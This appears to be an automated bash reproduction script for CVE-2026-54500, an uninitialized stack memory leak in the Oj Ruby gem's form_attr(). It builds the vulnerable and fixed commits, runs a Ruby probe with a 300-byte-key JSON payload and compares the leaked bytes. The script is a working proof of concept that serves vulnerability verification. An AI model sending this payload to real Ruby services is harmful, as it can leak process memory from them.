#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-54500 — Oj Ruby gem uninitialized stack memory leak via long JSON keys
#
# Root cause: ext/oj/intern.c form_attr() — when a JSON object key is >= 254
# bytes (sizeof(buf)-2 <= len), the long-key path allocates a heap buffer `b`,
# fills it correctly with the attribute name, then frees it — BUT passes the
# UNINITIALIZED stack buffer `buf` (not `b`) to rb_intern3(). rb_intern3 reads
# len+1 bytes of uninitialized stack memory. For keys >= 256 bytes it also reads
# out of bounds past the 256-byte `buf`. The leaked bytes surface via the
# produced Symbol or via the EncodingError message raised on invalid UTF-8.
#
# This script:
#   1. Builds the VULNERABLE version (commit 495cc38, v3.17.2 = parent of fix)
#   2. Runs Oj.load with a 300-byte key in :object mode (multiple processes)
#      -> observes EncodingError with leaked, per-run-varying stack bytes
#   3. Builds the FIXED version (commit bbde91a, the one-character fix buf->b)
#   4. Runs the same payload -> observes correct deterministic @AAA... attribute
#   5. Writes runtime_manifest.json and a verdict
# =============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"

cd "$ROOT"

# ---- Resolve project cache (durable volume) ---------------------------------
PROJECT_CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  PREPARED=$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)
  if [ "$PREPARED" = "true" ]; then
    PROJECT_CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json")
  fi
fi
if [ -z "$PROJECT_CACHE_DIR" ] || [ ! -d "$PROJECT_CACHE_DIR" ]; then
  PROJECT_CACHE_DIR="$ROOT/artifacts/oj-cache"
fi
mkdir -p "$PROJECT_CACHE_DIR"
REPO="$PROJECT_CACHE_DIR/repo"

echo "[*] PROJECT_CACHE_DIR=$PROJECT_CACHE_DIR"
echo "[*] REPO=$REPO"

# ---- Commits ----------------------------------------------------------------
# Fixed commit (one-character fix: rb_intern3(buf,...) -> rb_intern3(b,...))
FIXED_COMMIT="bbde91a679728f94c4492ebc3683f4fa3309049f"
# Vulnerable commit = parent of the fix (v3.17.2)
VULN_COMMIT="495cc38fc5a02681da2175960d4a667fae48f3c9"

LOG="$LOGS/reproduction_steps.log"
exec > >(tee -a "$LOG") 2>&1
echo "==== reproduction_steps.sh start $(date -u +%FT%TZ) ===="

# ---- Install dependencies ---------------------------------------------------
echo "[*] Installing Ruby + build tools"
sudo apt-get update -qq 2>&1 | tail -1
sudo apt-get install -y -qq ruby ruby-dev build-essential 2>&1 | tail -3
echo "[*] ruby=$(ruby --version)"

# ---- Clone / reuse repo -----------------------------------------------------
if [ -d "$REPO/.git" ]; then
  echo "[*] Reusing existing repo at $REPO"
  git -C "$REPO" fetch --quiet origin 2>&1 | tail -2 || true
else
  echo "[*] Cloning ohler55/oj into $REPO"
  git clone --quiet https://github.com/ohler55/oj.git "$REPO"
fi

# ---- Write the Ruby probe ---------------------------------------------------
PROBE="$REPRO_DIR/probe.rb"
cat > "$PROBE" <<'RUBY'
# Single-shot probe: one Oj.load with a 300-byte key in :object mode.
# argv[0] = output file for raw leaked/attribute bytes
# Prints structured KEY=VALUE lines on stdout.
require 'oj'
KEY_LEN = 300
key = "A" * KEY_LEN
json = %Q[{"^o":"Oj::Bag","#{key}":1}]
out_file = ARGV[0]
begin
  result = Oj.load(json, mode: :object)
  ivars = result.instance_variables
  if ivars.empty?
    File.binwrite(out_file, "") if out_file
    puts "OUTCOME=no_ivar"
  else
    s = ivars.first.to_s
    raw = s.bytes.pack("C*")
    File.binwrite(out_file, raw) if out_file
    # Fixed version: "@AAAA..." => bytesize 301, first byte 0x40 ('@'), rest 0x41 ('A')
    correct = (s.bytesize == KEY_LEN + 1 && s.getbyte(0) == 0x40 && s.bytes[1..].all? { |b| b == 0x41 })
    puts "OUTCOME=parsed"
    puts "IVAR_LEN=#{s.bytesize}"
    puts "CORRECT_ATTR=#{correct}"
    puts "FIRST_BYTES=#{s.bytes.first(32).map { |b| b.to_s(16).rjust(2,'0') }.join}"
  end
rescue EncodingError => e
  msg = e.message
  raw = msg.b
  File.binwrite(out_file, raw) if out_file
  non_a = msg.bytes.count { |b| b != 0x41 }
  puts "OUTCOME=encoding_error"
  puts "MSG_LEN=#{msg.bytesize}"
  puts "NON_A_BYTES=#{non_a}"
  puts "FIRST_BYTES=#{msg.bytes.first(48).map { |b| b.to_s(16).rjust(2,'0') }.join}"
rescue => e
  File.binwrite(out_file, "") if out_file
  puts "OUTCOME=other_error"
  puts "ERR_CLASS=#{e.class}"
  puts "ERR_MSG=#{e.message[0, 200]}"
end
RUBY

# ---- Build helper (manual extconf + make, avoids rake/bundler) --------------
build_oj() {
  local commit="$1"
  local label="$2"
  echo "[*] Checking out $label commit $commit"
  git -C "$REPO" checkout --quiet "$commit" 2>&1
  local resolved
  resolved=$(git -C "$REPO" rev-parse HEAD)
  echo "[*] $label resolved HEAD=$resolved"
  # Thorough clean: remove all untracked build artifacts so stale .o files
  # from the previous version do not contaminate the new build.
  git -C "$REPO" clean -fdx ext/oj lib/oj 2>/dev/null || true
  rm -rf "$REPO/tmp"
  echo "[*] Building $label C extension (manual extconf + make)"
  ( cd "$REPO/ext/oj" && ruby extconf.rb && make ) 2>&1 | tail -4
  if [ ! -f "$REPO/ext/oj/oj.so" ] && [ ! -f "$REPO/ext/oj/oj.bundle" ]; then
    echo "[!] BUILD FAILED for $label — no shared object found"
    ls -la "$REPO/ext/oj/" | tail -10
    return 1
  fi
  mkdir -p "$REPO/lib/oj"
  cp -f "$REPO/ext/oj/oj.so" "$REPO/lib/oj/oj.so" 2>/dev/null || \
    cp -f "$REPO/ext/oj/oj.bundle" "$REPO/lib/oj/oj.so"
  # Verify HEAD did not drift during build
  local post_head
  post_head=$(git -C "$REPO" rev-parse HEAD)
  if [ "$post_head" != "$resolved" ]; then
    echo "[!] WARNING: HEAD drifted during build: $resolved -> $post_head"
    git -C "$REPO" checkout --quiet "$commit" 2>&1
  fi
  echo "[*] $label build OK (HEAD=$(git -C "$REPO" rev-parse --short HEAD))"
}

# ---- Run probe N times (separate processes for variation evidence) ----------
run_probe_set() {
  local label="$1"
  local nruns="$2"
  local outcome_file="$LOGS/${label}_outcomes.txt"
  local lengths_file="$LOGS/${label}_msg_lengths.txt"
  : > "$outcome_file"
  : > "$lengths_file"
  local leak_count=0
  local err_count=0
  local correct_count=0
  for i in $(seq 1 "$nruns"); do
    local raw_file="$LOGS/${label}_run${i}.bin"
    local output
    output=$(cd "$REPO" && ruby -Ilib "$PROBE" "$raw_file" 2>&1) || true
    local outcome
    outcome=$(echo "$output" | grep '^OUTCOME=' | head -1 | cut -d= -f2-)
    echo "[$label run $i] $outcome" | tee -a "$outcome_file"
    echo "$output" | grep -E '^(IVAR_LEN|MSG_LEN|CORRECT_ATTR|NON_A_BYTES|FIRST_BYTES|ERR_CLASS)=' >> "$outcome_file" || true
    case "$outcome" in
      encoding_error)
        err_count=$((err_count + 1))
        leak_count=$((leak_count + 1))
        echo "$output" | grep '^MSG_LEN=' | cut -d= -f2 >> "$lengths_file"
        ;;
      parsed)
        local correct
        correct=$(echo "$output" | grep '^CORRECT_ATTR=' | head -1 | cut -d= -f2)
        if [ "$correct" = "true" ]; then
          correct_count=$((correct_count + 1))
        else
          leak_count=$((leak_count + 1))
        fi
        ;;
      *)
        ;;
    esac
  done
  echo "SUMMARY_${label}_leak_count=$leak_count"
  echo "SUMMARY_${label}_encoding_error_count=$err_count"
  echo "SUMMARY_${label}_correct_count=$correct_count"
  echo "$leak_count" > "$LOGS/${label}_leak_count"
  echo "$err_count" > "$LOGS/${label}_err_count"
  echo "$correct_count" > "$LOGS/${label}_correct_count"
}

# =============================================================================
# PHASE 1: VULNERABLE version
# =============================================================================
build_oj "$VULN_COMMIT" "VULNERABLE"
# Verify the vulnerable code has the bug (buf, not b)
echo "[*] Verifying vulnerable form_attr uses buf (not b):"
grep -n 'rb_intern3(buf' "$REPO/ext/oj/intern.c" || echo "[!] Expected rb_intern3(buf,...) not found!"

run_probe_set "vuln" 6

VULN_LEAK=$(cat "$LOGS/vuln_leak_count")
VULN_ERR=$(cat "$LOGS/vuln_err_count")
VULN_CORRECT=$(cat "$LOGS/vuln_correct_count")
echo "[*] VULNERABLE: leak_runs=$VULN_LEAK encoding_errors=$VULN_ERR correct_runs=$VULN_CORRECT"

# Show per-run message length variation (proof of uninitialized memory)
echo "[*] Vulnerable EncodingError message lengths (per-run variation => uninitialized memory):"
cat "$LOGS/vuln_msg_lengths.txt" 2>/dev/null | tr '\n' ' ' || echo "(no encoding errors)"
echo

# Dump a sample of leaked bytes for evidence
echo "[*] Sample leaked bytes from vulnerable run 1 (hexdump of EncodingError message):"
xxd "$LOGS/vuln_run1.bin" 2>/dev/null | head -8 || echo "(no file)"

# =============================================================================
# PHASE 2: FIXED version (negative control)
# =============================================================================
build_oj "$FIXED_COMMIT" "FIXED"
# Verify the fixed code uses b (not buf)
echo "[*] Verifying fixed form_attr uses b (not buf):"
grep -n 'rb_intern3(b,' "$REPO/ext/oj/intern.c" || echo "[!] Expected rb_intern3(b,...) not found!"
# Count rb_intern3(buf occurrences: vulnerable=2 (long+short path), fixed=1 (short path only)
BUF_COUNT=$(grep -c "rb_intern3(buf" "$REPO/ext/oj/intern.c"); if [ "$BUF_COUNT" -gt 1 ]; then
  echo "[!] WARNING: fixed version still has rb_intern3(buf,...)!"
fi

run_probe_set "fixed" 6

FIXED_LEAK=$(cat "$LOGS/fixed_leak_count")
FIXED_ERR=$(cat "$LOGS/fixed_err_count")
FIXED_CORRECT=$(cat "$LOGS/fixed_correct_count")
echo "[*] FIXED: leak_runs=$FIXED_LEAK encoding_errors=$FIXED_ERR correct_runs=$FIXED_CORRECT"

# =============================================================================
# PHASE 3: Verdict
# =============================================================================
VULN_LEAK_DETECTED=false
[ "$VULN_LEAK" -gt 0 ] && VULN_LEAK_DETECTED=true

FIXED_CLEAN=false
[ "$FIXED_LEAK" -eq 0 ] && [ "$FIXED_CORRECT" -gt 0 ] && FIXED_CLEAN=true

# Variation across runs proves uninitialized (non-deterministic) memory
VARIATION=false
if [ -s "$LOGS/vuln_msg_lengths.txt" ]; then
  UNIQUE_LEN=$(sort -nu "$LOGS/vuln_msg_lengths.txt" | wc -l)
  [ "$UNIQUE_LEN" -gt 1 ] && VARIATION=true
fi

CONFIRMED=false
if [ "$VULN_LEAK_DETECTED" = "true" ] && [ "$FIXED_CLEAN" = "true" ]; then
  CONFIRMED=true
fi

echo "=============================================="
echo "VERDICT"
echo "  vulnerable_leak_detected = $VULN_LEAK_DETECTED"
echo "  per_run_variation        = $VARIATION"
echo "  fixed_clean              = $FIXED_CLEAN"
echo "  CONFIRMED                = $CONFIRMED"
echo "=============================================="

# ---- Write runtime manifest -------------------------------------------------
if [ "$CONFIRMED" = "true" ]; then
  MANIFEST_NOTES="Vulnerable Oj.load leaks uninitialized stack memory via EncodingError message (per-run length variation proves uninitialized source); fixed version produces correct deterministic @AAA... attribute."
else
  MANIFEST_NOTES="Reproduction did not meet full confirmation criteria. See logs."
fi

# Collect proof artifact paths (relative to ROOT)
ARTIFACTS_JSON=$(jq -n \
  --arg log "logs/reproduction_steps.log" \
  --arg vuln_out "logs/vuln_outcomes.txt" \
  --arg fixed_out "logs/fixed_outcomes.txt" \
  --arg vuln_lens "logs/vuln_msg_lengths.txt" \
  --arg probe "repro/probe.rb" \
  '[$log, $vuln_out, $fixed_out, $vuln_lens, $probe]')

jq -n \
  --arg entrypoint_kind "library_api" \
  --arg entrypoint_detail "Oj.load(json, mode: :object) with ^o:Oj::Bag and 300-byte key => form_attr() in ext/oj/intern.c" \
  --argjson service_started false \
  --argjson healthcheck_passed false \
  --argjson target_path_reached true \
  --argjson confirmed "$CONFIRMED" \
  --arg notes "$MANIFEST_NOTES" \
  --argjson artifacts "$ARTIFACTS_JSON" \
  '{
    entrypoint_kind: $entrypoint_kind,
    entrypoint_detail: $entrypoint_detail,
    service_started: $service_started,
    healthcheck_passed: $healthcheck_passed,
    target_path_reached: $target_path_reached,
    runtime_stack: ["ruby", "oj-c-extension"],
    proof_artifacts: $artifacts,
    confirmed: $confirmed,
    notes: $notes
  }' > "$REPRO_DIR/runtime_manifest.json"

echo "[*] runtime_manifest.json written"
cat "$REPRO_DIR/runtime_manifest.json"

# ---- Best-effort proof-carry copy into project cache ------------------------
if [ -f "$ROOT/project_cache_context.json" ]; then
  PC_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || echo "")
  if [ -n "$PC_DIR" ] && [ -d "$PC_DIR" ]; then
    PC_ATTEMPT="$PC_DIR/.pruva/proof-carry/latest_attempt"
    mkdir -p "$PC_ATTEMPT"
    cp -f "$REPRO_DIR/reproduction_steps.sh" "$PC_ATTEMPT/" 2>/dev/null || true
    cp -f "$REPRO_DIR/runtime_manifest.json" "$PC_ATTEMPT/" 2>/dev/null || true
    cp -f "$LOGS/reproduction_steps.log" "$PC_ATTEMPT/" 2>/dev/null || true
    if [ "$CONFIRMED" = "true" ]; then
      PC_CONF="$PC_DIR/.pruva/proof-carry/latest_confirmed"
      mkdir -p "$PC_CONF"
      cp -f "$REPRO_DIR/reproduction_steps.sh" "$PC_CONF/" 2>/dev/null || true
      cp -f "$REPRO_DIR/runtime_manifest.json" "$PC_CONF/" 2>/dev/null || true
    fi
    echo "[*] Proof-carry artifacts copied to project cache"
  fi
fi

echo "==== reproduction_steps.sh end $(date -u +%FT%TZ) ===="

if [ "$CONFIRMED" = "true" ]; then
  echo "[+] CVE-2026-54500 CONFIRMED"
  exit 0
else
  echo "[!] CVE-2026-54500 NOT CONFIRMED"
  exit 1
fi